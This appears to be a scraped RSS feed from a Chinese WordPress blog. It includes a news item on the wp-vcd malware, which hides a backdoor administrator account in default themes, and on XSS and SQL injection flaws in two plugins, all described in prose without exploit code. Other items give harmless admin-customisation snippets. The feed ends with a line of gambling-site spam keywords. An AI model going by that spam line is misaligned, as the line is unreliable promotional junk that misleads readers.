wp-vcd最初由意大利安全研究員曼Manuel D'Orso在今年夏天發現,wp-vcd的初始版本通過一個名為“wp-vcd.php”文件將惡意代碼注入到WordPress核心文件中,比如functions.php和class.wp.php。

wp-vcd發起的攻擊規模并不算大,但在過去的幾個月里,一直處于活躍狀態。

在上周,Sucuri安全小組發現了wp-vcd的一個新變種,它能夠將惡意代碼注入到以Twenty Fifteen和Twenty Sixteen為主題的WordPress網站中,它們分別是2015年和2016年發布的WordPress CMS的默認主題。雖然有些過時,但仍然在大量WordPress網站中被使用。

Sucuri在上周發布的安全警示中表示:“代碼非常簡單,并沒有通過編碼或混淆函數來隱藏其惡意的意圖。”

攻擊者利用這兩款主題的文件來隱藏wp-vcd的惡意代碼。此代碼會創建一個名為100010010的新管理員賬戶。此后門帳戶的目的是打開與受感染網站的連接,以便攻擊者可以在日后發起跨站腳本攻擊。

根據Sucuri的說法,攻擊者正是利用了過時的插件和主題中存在的漏洞將wp-cvd上傳到了易受攻擊的站點上。如果網站管理員使用了任何基本的Web應用程序防火墻(WAF)來發現并阻止對核心WordPress文件的修改,那么wp-vcd的攻擊是不可能成功的。

更糟糕的是,wp-cvd并不是唯一一個被發現威脅到WordPress網站安全的問題。另外兩個非常受歡迎的WordPress插件——Yoast SEO(超過500萬次安裝)和Formidable Forms(超過20萬次安裝)也被爆出存在安全漏洞。

安全研究員Ryan Dewhurst在Yoast SEO插件中發現了一個跨站點腳本(XSS)漏洞,允許攻擊者在易受攻擊的站點上注入惡意代碼,可被用于釣魚WordPress網站管理員的登錄憑證。

而安全研究員JoukoPynn?nen的發現更是令人后怕,他在Formidable Forms插件中發現了數個安全漏洞,包括SQL注入漏洞、多個跨站點腳本(XSS)漏洞、未經驗證的數據檢索等等,允許攻擊者轉儲易受攻擊站點的數據庫。

來源:https://www.sohu.com/a/205840911_100066938

]]>
http://www.086xa.com/the-piracy-theme-is-terrible.html/feed 20
WordPress 開發工具插件:Query Monitor http://www.086xa.com/wordpress-query-monitor.html http://www.086xa.com/wordpress-query-monitor.html#comments Wed, 18 Mar 2020 06:25:00 +0000 http://www.086xa.com/?p=9325 Query Monitor是一款 WordPress 的開發工具,有點類似瀏覽器的開發者工具,不過它只針對WordPress。支持調試數據庫查詢、PHP 錯誤、掛鉤和操作、塊編輯器塊、排隊的腳本和樣式表、HTTP API 調用等。

它包括一些高級功能,如 Ajax 調用的調試、REST API 調用和用戶功能檢查。它包括通過插件或主題縮小大部分輸出的能力,使您能夠快速確定性能不佳的插件、主題或函數等。

WordPress 開發工具插件:Query Monitor

插件只適用于WordPress 的開發人員使用,普通用戶就沒必要安裝了。

]]>
http://www.086xa.com/wordpress-query-monitor.html/feed 3
WordPress 后臺顏色風格自定義插件:Backend Designer http://www.086xa.com/wordpress-backend-designer.html http://www.086xa.com/wordpress-backend-designer.html#comments Wed, 18 Mar 2020 04:56:22 +0000 http://www.086xa.com/?p=9320 看膩了 WordPress 后臺默認大紅大綠的配色風格,是不是想改為自己喜歡的顏色風格呢?

如果動手能力強,可以通過下面的代碼自定義后臺每個元素的顏色風格:

function admin_styles(){
	echo'<style type="text/css">樣式</style>';
}
add_action('admin_head', 'admin_styles');

但工作量極大,不是每個人都這種能力。下面推薦一款可以自定義WordPress 后臺顏色風格的插件:Backend Designer

通過該插件可以方便地調整后臺導航、按鈕和文字顏色,并可實時預覽。

啟用插件后,WP后臺 → 外觀 → 后臺設計,進入后臺顏色設計頁面,調整自己喜歡的顏色風格并保存。

勾選“全局啟用配色方案”后,所有用戶進后臺都是設計后的顏色風格,自己也不能在個人資料中修改其它配色。

WordPress 后臺顏色風格自定義插件:Backend Designer

插件還可以調整WordPress登錄頁面的背景及文字顏色等。網盤下載的插件我已添加了中文語言文件。

]]>
http://www.086xa.com/wordpress-backend-designer.html/feed 2
限制 WordPress 部分用戶角色進入后臺 http://www.086xa.com/wordpress-redirect-wp-admin.html http://www.086xa.com/wordpress-redirect-wp-admin.html#comments Tue, 17 Mar 2020 07:16:59 +0000 http://www.086xa.com/?p=9312 有時我們想限制WordPress 部分用戶角色訪問后臺,可以通過下面的代碼實現。

限制 WordPress 部分用戶角色進入后臺

限制 WordPress 部分用戶角色進入后臺

一、只允許管理員、編輯和作者角色訪問后臺

將下面代碼添加到當前主題函數模板functions.php中:

add_action( 'init', 'zm_redirect_wp_admin' );
function zm_redirect_wp_admin() {
	if ( is_admin() && is_user_logged_in() && !current_user_can( 'manage_options' ) && !current_user_can( 'publish_pages' ) && !current_user_can( 'publish_posts' ) && ( !defined( 'DOING_AJAX' ) || !DOING_AJAX )  ){
		wp_safe_redirect( home_url() );
		exit;
	}
}

判斷是否登錄及用戶角色,禁止訪問后臺的用戶角色直接跳轉到網站首頁。

如果需要跳轉到指定的頁面鏈接,比如前端用戶中心,可以將第4行的代碼修改為類似:

wp_safe_redirect( 'http://www.086xa.com/' );

只能跳轉到站內鏈接,不能轉到站外鏈接。

如果只允許管理員訪問后臺,可將其中允許編輯和作者進入后臺的代碼刪除:

 && !current_user_can('publish_pages') && !current_user_can('publish_posts')

 

二、禁止默認注冊用戶角色進入后臺

默認注冊用戶角色指的是:WordPress后臺 → 設置 → 常規,設置新用戶默認角色中的角色。

if ( is_admin() && ( !defined( 'DOING_AJAX' ) || !DOING_AJAX ) ) {
	$current_user = wp_get_current_user();
	if($current_user->roles[0] == get_option('default_role')) {
		wp_safe_redirect( home_url() );
	exit();
	}
}

代碼出自:www.ludou.org

如果你修改了新用戶默認角色,對之前已注冊的其他角色的用戶將無效。

上述兩段代碼都加了判斷,不會影響前端ajax請求。

]]>
http://www.086xa.com/wordpress-redirect-wp-admin.html/feed 5
竞博lol 竞博JBO| JBO电竞| 竞博JBO| JBO.Club| 竞博| JBO体育| JBO体育| JBO| JBO体育| 电竞竞博| JBO.Club| 竞博官网| JBO电竞| 竞博|